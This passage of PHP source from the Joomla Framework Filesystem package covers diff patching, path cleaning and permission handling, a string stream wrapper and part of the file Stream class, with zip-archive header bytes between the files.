foreach ($this->removals as $file)
{
if (File::delete($file))
{
if (isset($this->sources[$file]))
{
unset($this->sources[$file]);
}
$done++;
}
}
// Clear the destinations cache
$this->destinations = array();
// Clear the removals
$this->removals = array();
// Clear the patches
$this->patches = array();
return $done;
}
/**
* Add a unified diff file to the patcher
*
* @param string $filename Path to the unified diff file
* @param string $root The files root path
* @param integer $strip The number of '/' to strip
*
* @return Patcher $this for chaining
*
* @since 1.0
*/
public function addFile($filename, $root = JPATH_ROOT, $strip = 0)
{
return $this->add(file_get_contents($filename), $root, $strip);
}
/**
* Add a unified diff string to the patcher
*
* @param string $udiff Unified diff input string
* @param string $root The files root path
* @param integer $strip The number of '/' to strip
*
* @return Patcher $this for chaining
*
* @since 1.0
*/
public function add($udiff, $root = JPATH_ROOT, $strip = 0)
{
$this->patches[] = array(
'udiff' => $udiff,
'root' => isset($root) ? rtrim($root,
\DIRECTORY_SEPARATOR) . \DIRECTORY_SEPARATOR : '',
'strip' => $strip,
);
return $this;
}
/**
* Separate CR or CRLF lines
*
* @param string $data Input string
*
* @return array The lines of the input destination file
*
* @since 1.0
*/
protected static function splitLines($data)
{
return preg_split(self::SPLIT, $data);
}
/**
* Find the diff header
*
* The internal array pointer of $lines is on the next line after the
finding
*
* @param array $lines The udiff array of lines
* @param string $src The source file
* @param string $dst The destination file
*
* @return boolean TRUE in case of success, FALSE in case of failure
*
* @since 1.0
* @throws \RuntimeException
*/
protected static function findHeader(&$lines, &$src, &$dst)
{
// Get the current line
$line = current($lines);
// Search for the header
while ($line !== false && !preg_match(self::SRC_FILE, $line, $m))
{
$line = next($lines);
}
if ($line === false)
{
// No header found, return false
return false;
}
// Set the source file
$src = $m[1];
// Advance to the next line
$line = next($lines);
if ($line === false)
{
throw new \RuntimeException('Unexpected EOF');
}
// Search the destination file
if (!preg_match(self::DST_FILE, $line, $m))
{
throw new \RuntimeException('Invalid Diff file');
}
// Set the destination file
$dst = $m[1];
// Advance to the next line
if (next($lines) === false)
{
throw new \RuntimeException('Unexpected EOF');
}
return true;
}
/**
* Find the next hunk of difference
*
* The internal array pointer of $lines is on the next line after the
finding
*
* @param array $lines The udiff array of lines
* @param string $srcLine The beginning of the patch for the source
file
* @param string $srcSize The size of the patch for the source file
* @param string $dstLine The beginning of the patch for the
destination file
* @param string $dstSize The size of the patch for the destination
file
*
* @return boolean TRUE in case of success, false in case of failure
*
* @since 1.0
* @throws \RuntimeException
*/
protected static function findHunk(&$lines, &$srcLine,
&$srcSize, &$dstLine, &$dstSize)
{
$line = current($lines);
if (preg_match(self::HUNK, $line, $m))
{
$srcLine = (int) $m[1];
if ($m[3] === '')
{
$srcSize = 1;
}
else
{
$srcSize = (int) $m[3];
}
$dstLine = (int) $m[4];
if ($m[6] === '')
{
$dstSize = 1;
}
else
{
$dstSize = (int) $m[6];
}
if (next($lines) === false)
{
throw new \RuntimeException('Unexpected EOF');
}
return true;
}
return false;
}
/**
* Apply the patch
*
* @param array $lines The udiff array of lines
* @param string $src The source file
* @param string $dst The destination file
* @param string $srcLine The beginning of the patch for the source
file
* @param string $srcSize The size of the patch for the source file
* @param string $dstLine The beginning of the patch for the
destination file
* @param string $dstSize The size of the patch for the destination
file
*
* @return void
*
* @since 1.0
* @throws \RuntimeException
*/
protected function applyHunk(&$lines, $src, $dst, $srcLine, $srcSize,
$dstLine, $dstSize)
{
$srcLine--;
$dstLine--;
$line = current($lines);
// Source lines (old file)
$source = array();
// New lines (new file)
$destin = array();
$srcLeft = $srcSize;
$dstLeft = $dstSize;
do
{
if (!isset($line[0]))
{
$source[] = '';
$destin[] = '';
$srcLeft--;
$dstLeft--;
}
elseif ($line[0] == '-')
{
if ($srcLeft == 0)
{
throw new \RuntimeException('Unexpected remove line at line
' . key($lines));
}
$source[] = substr($line, 1);
$srcLeft--;
}
elseif ($line[0] == '+')
{
if ($dstLeft == 0)
{
throw new \RuntimeException('Unexpected add line at line ' .
key($lines));
}
$destin[] = substr($line, 1);
$dstLeft--;
}
elseif ($line != '\\ No newline at end of file')
{
$line = substr($line, 1);
$source[] = $line;
$destin[] = $line;
$srcLeft--;
$dstLeft--;
}
if ($srcLeft == 0 && $dstLeft == 0)
{
// Now apply the patch, finally!
if ($srcSize > 0)
{
$srcLines = & $this->getSource($src);
if (!isset($srcLines))
{
throw new \RuntimeException('Unexisting source file: ' .
$src);
}
}
if ($dstSize > 0)
{
if ($srcSize > 0)
{
$dstLines = & $this->getDestination($dst, $src);
$srcBottom = $srcLine + \count($source);
for ($l = $srcLine; $l < $srcBottom; $l++)
{
if ($srcLines[$l] != $source[$l - $srcLine])
{
throw new \RuntimeException(sprintf('Failed source
verification of file %1$s at line %2$s', $src, $l));
}
}
array_splice($dstLines, $dstLine, \count($source), $destin);
}
else
{
$this->destinations[$dst] = $destin;
}
}
else
{
$this->removals[] = $src;
}
next($lines);
return;
}
$line = next($lines);
}
while ($line !== false);
throw new \RuntimeException('Unexpected EOF');
}
/**
* Get the lines of a source file
*
* @param string $src The path of a file
*
* @return array The lines of the source file
*
* @since 1.0
*/
protected function &getSource($src)
{
if (!isset($this->sources[$src]))
{
if (is_readable($src))
{
$this->sources[$src] = self::splitLines(file_get_contents($src));
}
else
{
$this->sources[$src] = null;
}
}
return $this->sources[$src];
}
/**
* Get the lines of a destination file
*
* @param string $dst The path of a destination file
* @param string $src The path of a source file
*
* @return array The lines of the destination file
*
* @since 1.0
*/
protected function &getDestination($dst, $src)
{
if (!isset($this->destinations[$dst]))
{
$this->destinations[$dst] = $this->getSource($src);
}
return $this->destinations[$dst];
}
}
PKą�[�嗿 filesystem/src/Path.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
use Joomla\Filesystem\Exception\FilesystemException;
if (!\defined('JPATH_ROOT'))
{
throw new \LogicException('The "JPATH_ROOT" constant must
be defined for your application.');
}
/**
* A Path handling class
*
* @since 1.0
*/
class Path
{
/**
* Checks if a path's permissions can be changed.
*
* @param string $path Path to check.
*
* @return boolean True if path can have mode changed.
*
* @since 1.0
*/
public static function canChmod($path)
{
if (!file_exists($path))
{
return false;
}
$perms = @fileperms($path);
if ($perms !== false)
{
if (@chmod($path, $perms ^ 0001))
{
@chmod($path, $perms);
return true;
}
}
return false;
}
/**
* Chmods files and directories recursively to given permissions.
*
* @param string $path Root path to begin changing mode [without
trailing slash].
* @param string $filemode Octal representation of the value to
change file mode to [null = no change].
* @param string $foldermode Octal representation of the value to
change folder mode to [null = no change].
*
* @return boolean True if successful [one fail means the whole
operation failed].
*
* @since 1.0
*/
public static function setPermissions($path, $filemode = '0644',
$foldermode = '0755')
{
// Initialise return value
$ret = true;
if (is_dir($path))
{
$dh = @opendir($path);
if ($dh)
{
while ($file = readdir($dh))
{
if ($file != '.' && $file != '..')
{
$fullpath = $path . '/' . $file;
if (is_dir($fullpath))
{
if (!static::setPermissions($fullpath, $filemode, $foldermode))
{
$ret = false;
}
}
else
{
if (isset($filemode))
{
if (!static::canChmod($fullpath) || !@ chmod($fullpath,
octdec($filemode)))
{
$ret = false;
}
}
}
}
}
closedir($dh);
}
if (isset($foldermode))
{
if (!static::canChmod($path) || !@ chmod($path, octdec($foldermode)))
{
$ret = false;
}
}
}
else
{
if (isset($filemode))
{
if (!static::canChmod($path) || !@ chmod($path, octdec($filemode)))
{
$ret = false;
}
}
}
return $ret;
}
/**
* Get the permissions of the file/folder at a give path.
*
* @param string $path The path of a file/folder.
*
* @return string Filesystem permissions.
*
* @since 1.0
*/
public static function getPermissions($path)
{
$path = self::clean($path);
$mode = @ decoct(@ fileperms($path) & 0777);
if (\strlen($mode) < 3)
{
return '---------';
}
$parsedMode = '';
for ($i = 0; $i < 3; $i++)
{
// Read
$parsedMode .= ($mode[$i] & 04) ? 'r' : '-';
// Write
$parsedMode .= ($mode[$i] & 02) ? 'w' : '-';
// Execute
$parsedMode .= ($mode[$i] & 01) ? 'x' : '-';
}
return $parsedMode;
}
/**
* Checks for snooping outside of the file system root.
*
* @param string $path A file system path to check.
*
* @return string A cleaned version of the path or exit on error.
*
* @since 1.0
* @throws FilesystemException
*/
public static function check($path)
{
if (strpos($path, '..') !== false)
{
throw new FilesystemException(
sprintf(
'%s() - Use of relative paths not permitted',
__METHOD__
),
20
);
}
$path = static::clean($path);
if ((JPATH_ROOT != '') && strpos($path,
static::clean(JPATH_ROOT)) !== 0)
{
throw new FilesystemException(
sprintf(
'%1$s() - Snooping out of bounds @ %2$s',
__METHOD__,
$path
),
20
);
}
return $path;
}
/**
* Function to strip additional / or \ in a path name.
*
* @param string $path The path to clean.
* @param string $ds Directory separator (optional).
*
* @return string The cleaned path.
*
* @since 1.0
* @throws \UnexpectedValueException If $path is not a string.
*/
public static function clean($path, $ds = \DIRECTORY_SEPARATOR)
{
if (!\is_string($path))
{
throw new \UnexpectedValueException('JPath::clean $path is not a
string.');
}
$stream = explode('://', $path, 2);
$scheme = '';
$path = $stream[0];
if (\count($stream) >= 2)
{
$scheme = $stream[0] . '://';
$path = $stream[1];
}
$path = trim($path);
if (empty($path))
{
$path = JPATH_ROOT;
}
elseif (($ds == '\\') && ($path[0] == '\\')
&& ($path[1] == '\\'))
{
// Remove double slashes and backslashes and convert all slashes and
backslashes to DIRECTORY_SEPARATOR
// If dealing with a UNC path don't forget to prepend the path with
a backslash.
$path = '\\' . preg_replace('#[/\\\\]+#', $ds,
$path);
}
else
{
$path = preg_replace('#[/\\\\]+#', $ds, $path);
}
return $scheme . $path;
}
/**
* Method to determine if script owns the path.
*
* @param string $path Path to check ownership.
*
* @return boolean True if the php script owns the path passed.
*
* @since 1.0
*/
public static function isOwner($path)
{
$tmp = md5(random_bytes(16));
$ssp = ini_get('session.save_path');
$jtp = JPATH_ROOT;
// Try to find a writable directory
$dir = is_writable('/tmp') ? '/tmp' : false;
$dir = (!$dir && is_writable($ssp)) ? $ssp : $dir;
$dir = (!$dir && is_writable($jtp)) ? $jtp : $dir;
if ($dir)
{
$test = $dir . '/' . $tmp;
// Create the test file
$blank = '';
File::write($test, $blank, false);
// Test ownership
$return = (fileowner($test) == fileowner($path));
// Delete the test file
File::delete($test);
return $return;
}
return false;
}
/**
* Searches the directory paths for a given file.
*
* @param mixed $paths A path string or array of path strings to
search in
* @param string $file The file name to look for.
*
* @return string|boolean The full path and file name for the target
file, or boolean false if the file is not found in any of the paths.
*
* @since 1.0
*/
public static function find($paths, $file)
{
// Force to array
if (!\is_array($paths) && !($paths instanceof \Iterator))
{
settype($paths, 'array');
}
// Start looping through the path set
foreach ($paths as $path)
{
// Get the path to the file
$fullname = $path . '/' . $file;
// Is the path based on a stream?
if (strpos($path, '://') === false)
{
// Not a stream, so do a realpath() to avoid directory
// traversal attempts on the local file system.
// Needed for substr() later
$path = realpath($path);
$fullname = realpath($fullname);
}
/*
* The substr() check added to make sure that the realpath()
* results in a directory registered so that
* non-registered directories are not accessible via directory
* traversal attempts.
*/
if (file_exists($fullname) && substr($fullname, 0,
\strlen($path)) == $path)
{
return $fullname;
}
}
// Could not find the file in the set of paths
return false;
}
/**
* Resolves /./, /../ and multiple / in a string and returns the resulting
absolute path, inspired by Flysystem
* Removes trailing slashes
*
* @param string $path A path to resolve
*
* @return string The resolved path
*
* @since 1.6.0
*/
public static function resolve($path)
{
$path = static::clean($path);
// Save start character for absolute path
$startCharacter = ($path[0] === DIRECTORY_SEPARATOR) ?
DIRECTORY_SEPARATOR : '';
$parts = array();
foreach (explode(DIRECTORY_SEPARATOR, $path) as $part)
{
switch ($part)
{
case '':
case '.':
break;
case '..':
if (empty($parts))
{
throw new FilesystemException('Path is outside of the defined
root');
}
array_pop($parts);
break;
default:
$parts[] = $part;
break;
}
}
return $startCharacter . implode(DIRECTORY_SEPARATOR, $parts);
}
}
PKą�[#%�
filesystem/src/Stream/String.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem\Stream;
/**
* String Stream Wrapper
*
* This class allows you to use a PHP string in the same way that
* you would normally use a regular stream wrapper
*
* @since 1.0
* @deprecated 2.0 Use StringWrapper instead
*/
class String extends StringWrapper
{
}
PKą�[���'filesystem/src/Stream/StringWrapper.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem\Stream;
use Joomla\Filesystem\Support\StringController;
/**
* String Stream Wrapper
*
* This class allows you to use a PHP string in the same way that you would
normally use a regular stream wrapper
*
* @since 1.3.0
*/
class StringWrapper
{
/**
* The current string
*
* @var string
* @since 1.3.0
*/
protected $currentString;
/**
* The path
*
* @var string
* @since 1.3.0
*/
protected $path;
/**
* The mode
*
* @var string
* @since 1.3.0
*/
protected $mode;
/**
* Enter description here ...
*
* @var string
* @since 1.3.0
*/
protected $options;
/**
* Enter description here ...
*
* @var string
* @since 1.3.0
*/
protected $openedPath;
/**
* Current position
*
* @var integer
* @since 1.3.0
*/
protected $pos;
/**
* Length of the string
*
* @var string
* @since 1.3.0
*/
protected $len;
/**
* Statistics for a file
*
* @var array
* @since 1.3.0
* @link https://www.php.net/manual/en/function.stat.php
*/
protected $stat;
/**
* Method to open a file or URL.
*
* @param string $path The stream path.
* @param string $mode Not used.
* @param integer $options Not used.
* @param string $openedPath Not used.
*
* @return boolean
*
* @since 1.3.0
*/
public function stream_open($path, $mode, $options, &$openedPath)
{
$refPath = StringController::getRef(str_replace('string://',
'', $path));
$this->currentString = &$refPath;
if ($this->currentString)
{
$this->len = \strlen($this->currentString);
$this->pos = 0;
$this->stat = $this->url_stat($path, 0);
return true;
}
return false;
}
/**
* Method to retrieve information from a file resource
*
* @return array
*
* @link https://www.php.net/manual/en/streamwrapper.stream-stat.php
* @since 1.3.0
*/
public function stream_stat()
{
return $this->stat;
}
/**
* Method to retrieve information about a file.
*
* @param string $path File path or URL to stat
* @param integer $flags Additional flags set by the streams API
*
* @return array
*
* @link https://www.php.net/manual/en/streamwrapper.url-stat.php
* @since 1.3.0
*/
public function url_stat($path, $flags = 0)
{
$now = time();
$refPath = StringController::getRef(str_replace('string://',
'', $path));
$string = &$refPath;
$stat = array(
'dev' => 0,
'ino' => 0,
'mode' => 0,
'nlink' => 1,
'uid' => 0,
'gid' => 0,
'rdev' => 0,
'size' => \strlen($string),
'atime' => $now,
'mtime' => $now,
'ctime' => $now,
'blksize' => '512',
'blocks' => ceil(\strlen($string) / 512),
);
return $stat;
}
/**
* Method to read a given number of bytes starting at the current position
* and moving to the end of the string defined by the current position
plus the
* given number.
*
* @param integer $count Bytes of data from the current position
should be returned.
*
* @return string
*
* @link https://www.php.net/manual/en/streamwrapper.stream-read.php
* @since 1.3.0
*/
public function stream_read($count)
{
$result = substr($this->currentString, $this->pos, $count);
$this->pos += $count;
return $result;
}
/**
* Stream write, always returning false.
*
* @param string $data The data to write.
*
* @return boolean
*
* @since 1.3.0
* @note Updating the string is not supported.
*/
public function stream_write($data)
{
// We don't support updating the string.
return false;
}
/**
* Method to get the current position
*
* @return integer The position
*
* @since 1.3.0
*/
public function stream_tell()
{
return $this->pos;
}
/**
* End of field check
*
* @return boolean True if at end of field.
*
* @since 1.3.0
*/
public function stream_eof()
{
if ($this->pos >= $this->len)
{
return true;
}
return false;
}
/**
* Stream offset
*
* @param integer $offset The starting offset.
* @param integer $whence SEEK_SET, SEEK_CUR, SEEK_END
*
* @return boolean True on success.
*
* @since 1.3.0
*/
public function stream_seek($offset, $whence)
{
// $whence: SEEK_SET, SEEK_CUR, SEEK_END
if ($offset > $this->len)
{
// We can't seek beyond our len.
return false;
}
switch ($whence)
{
case \SEEK_SET:
$this->pos = $offset;
break;
case \SEEK_CUR:
if (($this->pos + $offset) > $this->len)
{
return false;
}
$this->pos += $offset;
break;
case \SEEK_END:
$this->pos = $this->len - $offset;
break;
}
return true;
}
/**
* Stream flush, always returns true.
*
* @return boolean
*
* @since 1.3.0
* @note Data storage is not supported
*/
public function stream_flush()
{
// We don't store data.
return true;
}
}
if (!stream_wrapper_register('string',
'\\Joomla\\Filesystem\\Stream\\StringWrapper'))
{
die('\\Joomla\\Filesystem\\Stream\\StringWrapper Wrapper Registration
Failed');
}
PKą�[y�͒����filesystem/src/Stream.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
use Joomla\Filesystem\Exception\FilesystemException;
/**
* Joomla! Stream Interface
*
* The Joomla! stream interface is designed to handle files as streams
* where as the legacy JFile static class treated files in a rather
* atomic manner.
*
* This class adheres to the stream wrapper operations:
*
* @link https://www.php.net/manual/en/function.stream-get-wrappers.php
* @link https://www.php.net/manual/en/intro.stream.php PHP Stream Manual
* @link https://www.php.net/manual/en/wrappers.php Stream Wrappers
* @link https://www.php.net/manual/en/filters.php Stream Filters
* @link https://www.php.net/manual/en/transports.php Socket Transports
(used by some options, particularly HTTP proxy)
* @since 1.0
*/
class Stream
{
/**
* File Mode
*
* @var integer
* @since 1.0
*/
protected $filemode = 0644;
/**
* Directory Mode
*
* @var integer
* @since 1.0
*/
protected $dirmode = 0755;
/**
* Default Chunk Size
*
* @var integer
* @since 1.0
*/
protected $chunksize = 8192;
/**
* Filename
*
* @var string
* @since 1.0
*/
protected $filename;
/**
* Prefix of the connection for writing
*
* @var string
* @since 1.0
*/
protected $writeprefix;
/**
* Prefix of the connection for reading
*
* @var string
* @since 1.0
*/
protected $readprefix;
/**
* Read Processing method
*
* @var string gz, bz, f
* If a scheme is detected, fopen will be defaulted
* To use compression with a network stream use a filter
* @since 1.0
*/
protected $processingmethod = 'f';
/**
* Filters applied to the current stream
*
* @var array
* @since 1.0
*/
protected $filters = array();
/**
* File Handle
*
* @var resource
* @since 1.0
*/
protected $fh;
/**
* File size
*
* @var integer
* @since 1.0
*/
protected $filesize;
/**
* Context to use when opening the connection
*
* @var string
* @since 1.0
*/
protected $context;
/**
* Context options; used to rebuild the context
*
* @var array
* @since 1.0
*/
protected $contextOptions;
/**
* The mode under which the file was opened
*
* @var string
* @since 1.0
*/
protected $openmode;
/**
* Constructor
*
* @param string $writeprefix Prefix of the stream (optional). Unlike
the JPATH_*, this has a final path separator!
* @param string $readprefix The read prefix (optional).
* @param array $context The context options (optional).
*
* @since 1.0
*/
public function __construct($writeprefix = '', $readprefix =
'', $context = array())
{
$this->writeprefix = $writeprefix;
$this->readprefix = $readprefix;
$this->contextOptions = $context;
$this->_buildContext();
}
/**
* Destructor
*
* @since 1.0
*/
public function __destruct()
{
// Attempt to close on destruction if there is a file handle
if ($this->fh)
{
@$this->close();
}
}
/**
* Creates a new stream object with appropriate prefix
*
* @param boolean $usePrefix Prefix the connections for writing
* @param string $ua UA User agent to use
* @param boolean $uamask User agent masking (prefix Mozilla)
*
* @return Stream
*
* @see Stream
* @since 1.0
*/
public static function getStream($usePrefix = true, $ua = null, $uamask =
false)
{
// Setup the context; Joomla! UA and overwrite
$context = array();
// Set the UA for HTTP
$context['http']['user_agent'] = $ua ?: 'Joomla!
Framework Stream';
if ($usePrefix)
{
return new Stream(JPATH_ROOT . '/', JPATH_ROOT, $context);
}
return new Stream('', '', $context);
}
/**
* Generic File Operations
*
* Open a stream with some lazy loading smarts
*
* @param string $filename Filename
* @param string $mode Mode string to use
* @param boolean $useIncludePath Use the PHP include path
* @param resource $context Context to use when opening
* @param boolean $usePrefix Use a prefix to open the file
* @param boolean $relative Filename is a relative path
(if false, strips JPATH_ROOT to make it relative)
* @param boolean $detectprocessingmode Detect the processing method
for the file and use the appropriate function
* to handle output
automatically
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function open($filename, $mode = 'r', $useIncludePath =
false, $context = null, $usePrefix = false, $relative = false,
$detectprocessingmode = false
)
{
$filename = $this->_getFilename($filename, $mode, $usePrefix,
$relative);
if (!$filename)
{
throw new FilesystemException('Filename not set');
}
$this->filename = $filename;
$this->openmode = $mode;
$url = parse_url($filename);
if (isset($url['scheme']))
{
$scheme = ucfirst($url['scheme']);
// If we're dealing with a Joomla! stream, load it
if (Helper::isJoomlaStream($scheme))
{
// Map to StringWrapper if required
if ($scheme === 'String')
{
$scheme = 'StringWrapper';
}
require_once __DIR__ . '/Stream/' . $scheme .
'.php';
}
// We have a scheme! force the method to be f
$this->processingmethod = 'f';
}
elseif ($detectprocessingmode)
{
$ext = strtolower(pathinfo($this->filename, \PATHINFO_EXTENSION));
switch ($ext)
{
case 'tgz':
case 'gz':
case 'gzip':
$this->processingmethod = 'gz';
break;
case 'tbz2':
case 'bz2':
case 'bzip2':
$this->processingmethod = 'bz';
break;
default:
$this->processingmethod = 'f';
break;
}
}
// Capture PHP errors
$php_errormsg = 'Error Unknown whilst opening a file';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
// Decide which context to use:
switch ($this->processingmethod)
{
// Gzip doesn't support contexts or streams
case 'gz':
$this->fh = gzopen($filename, $mode, $useIncludePath);
break;
// Bzip2 is much like gzip except it doesn't use the include path
case 'bz':
$this->fh = bzopen($filename, $mode);
break;
// Fopen can handle streams
case 'f':
default:
// One supplied at open; overrides everything
if ($context)
{
$this->fh = @fopen($filename, $mode, $useIncludePath, $context);
}
elseif ($this->context)
{
// One provided at initialisation
$this->fh = @fopen($filename, $mode, $useIncludePath,
$this->context);
}
else
{
// No context; all defaults
$this->fh = @fopen($filename, $mode, $useIncludePath);
}
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$this->fh)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return true;
}
/**
* Attempt to close a file handle
*
* Will return false if it failed and true on success
* If the file is not open the system will return true, this function
destroys the file handle as well
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function close()
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = 'Error Unknown';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
switch ($this->processingmethod)
{
case 'gz':
$res = gzclose($this->fh);
break;
case 'bz':
$res = bzclose($this->fh);
break;
case 'f':
default:
$res = fclose($this->fh);
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$res)
{
throw new FilesystemException($php_errormsg);
}
// Reset this
$this->fh = null;
// If we wrote, chmod the file after it's closed
if ($this->openmode[0] == 'w')
{
$this->chmod();
}
// Return the result
return true;
}
/**
* Work out if we're at the end of the file for a stream
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function eof()
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
switch ($this->processingmethod)
{
case 'gz':
$res = gzeof($this->fh);
break;
case 'bz':
case 'f':
default:
$res = feof($this->fh);
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if ($php_errormsg)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return $res;
}
/**
* Retrieve the file size of the path
*
* @return integer|boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function filesize()
{
if (!$this->filename)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$res = @filesize($this->filename);
if (!$res)
{
$tmpError = '';
if ($php_errormsg)
{
// Something went wrong.
// Store the error in case we need it.
$tmpError = $php_errormsg;
}
$res = Helper::remotefsize($this->filename);
if (!$res)
{
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
if ($tmpError)
{
// Use the php_errormsg from before
throw new FilesystemException($tmpError);
}
// Error but nothing from php? How strange! Create our own
throw new FilesystemException('Failed to get file size. This may
not work for all streams.');
}
$this->filesize = $res;
$retval = $res;
}
else
{
$this->filesize = $res;
$retval = $res;
}
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
// Return the result
return $retval;
}
/**
* Get a line from the stream source.
*
* @param integer $length The number of bytes (optional) to read.
*
* @return string
*
* @since 1.0
* @throws FilesystemException
*/
public function gets($length = 0)
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = 'Error Unknown';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
switch ($this->processingmethod)
{
case 'gz':
$res = $length ? gzgets($this->fh, $length) : gzgets($this->fh);
break;
case 'bz':
case 'f':
default:
$res = $length ? fgets($this->fh, $length) : fgets($this->fh);
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$res)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return $res;
}
/**
* Read a file
*
* Handles user space streams appropriately otherwise any read will return
8192
*
* @param integer $length Length of data to read
*
* @return string
*
* @link https://www.php.net/manual/en/function.fread.php
* @since 1.0
* @throws FilesystemException
*/
public function read($length = 0)
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
if (!$this->filesize && !$length)
{
// Get the filesize
$this->filesize();
if (!$this->filesize)
{
// Set it to the biggest and then wait until eof
$length = -1;
}
else
{
$length = $this->filesize;
}
}
$retval = false;
// Capture PHP errors
$php_errormsg = 'Error Unknown';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$remaining = $length;
do
{
// Do chunked reads where relevant
switch ($this->processingmethod)
{
case 'bz':
$res = ($remaining > 0) ? bzread($this->fh, $remaining) :
bzread($this->fh, $this->chunksize);
break;
case 'gz':
$res = ($remaining > 0) ? gzread($this->fh, $remaining) :
gzread($this->fh, $this->chunksize);
break;
case 'f':
default:
$res = ($remaining > 0) ? fread($this->fh, $remaining) :
fread($this->fh, $this->chunksize);
break;
}
if (!$res)
{
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
throw new FilesystemException($php_errormsg);
}
if (!$retval)
{
$retval = '';
}
$retval .= $res;
if (!$this->eof())
{
$len = \strlen($res);
$remaining -= $len;
}
else
{
// If it's the end of the file then we've nothing left to
read; reset remaining and len
$remaining = 0;
$length = \strlen($retval);
}
}
while ($remaining || !$length);
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
// Return the result
return $retval;
}
/**
* Seek the file
*
* Note: the return value is different to that of fseek
*
* @param integer $offset Offset to use when seeking.
* @param integer $whence Seek mode to use.
*
* @return boolean True on success, false on failure
*
* @link https://www.php.net/manual/en/function.fseek.php
* @since 1.0
* @throws FilesystemException
*/
public function seek($offset, $whence = \SEEK_SET)
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
switch ($this->processingmethod)
{
case 'gz':
$res = gzseek($this->fh, $offset, $whence);
break;
case 'bz':
case 'f':
default:
$res = fseek($this->fh, $offset, $whence);
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
// Seek, interestingly, returns 0 on success or -1 on failure.
if ($res == -1)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return true;
}
/**
* Returns the current position of the file read/write pointer.
*
* @return integer
*
* @since 1.0
* @throws FilesystemException
*/
public function tell()
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
switch ($this->processingmethod)
{
case 'gz':
$res = gztell($this->fh);
break;
case 'bz':
case 'f':
default:
$res = ftell($this->fh);
break;
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
// May return 0 so check if it's really false
if ($res === false)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return $res;
}
/**
* File write
*
* Whilst this function accepts a reference, the underlying fwrite
* will do a copy! This will roughly double the memory allocation for
* any write you do. Specifying chunked will get around this by only
* writing in specific chunk sizes. This defaults to 8192 which is a
* sane number to use most of the time (change the default with
* Stream::set('chunksize', newsize);)
* Note: This doesn't support gzip/bzip2 writing like reading does
*
* @param string $string Reference to the string to write.
* @param integer $length Length of the string to write.
* @param integer $chunk Size of chunks to write in.
*
* @return boolean
*
* @link https://www.php.net/manual/en/function.fwrite.php
* @since 1.0
* @throws FilesystemException
*/
public function write(&$string, $length = 0, $chunk = 0)
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
if ($this->openmode == 'r')
{
throw new \RuntimeException('File is in readonly mode');
}
// If the length isn't set, set it to the length of the string.
if (!$length)
{
$length = \strlen($string);
}
// If the chunk isn't set, set it to the default.
if (!$chunk)
{
$chunk = $this->chunksize;
}
$retval = true;
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$remaining = $length;
$start = 0;
do
{
// If the amount remaining is greater than the chunk size, then use the
chunk
$amount = ($remaining > $chunk) ? $chunk : $remaining;
$res = fwrite($this->fh, substr($string, $start), $amount);
// Returns false on error or the number of bytes written
if ($res === false)
{
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
// Returned error
throw new FilesystemException($php_errormsg);
}
if ($res === 0)
{
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
// Wrote nothing?
throw new FilesystemException('Warning: No data written');
}
// Wrote something
$start += $amount;
$remaining -= $res;
}
while ($remaining);
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
// Return the result
return $retval;
}
/**
* Chmod wrapper
*
* @param string $filename File name.
* @param mixed $mode Mode to use.
*
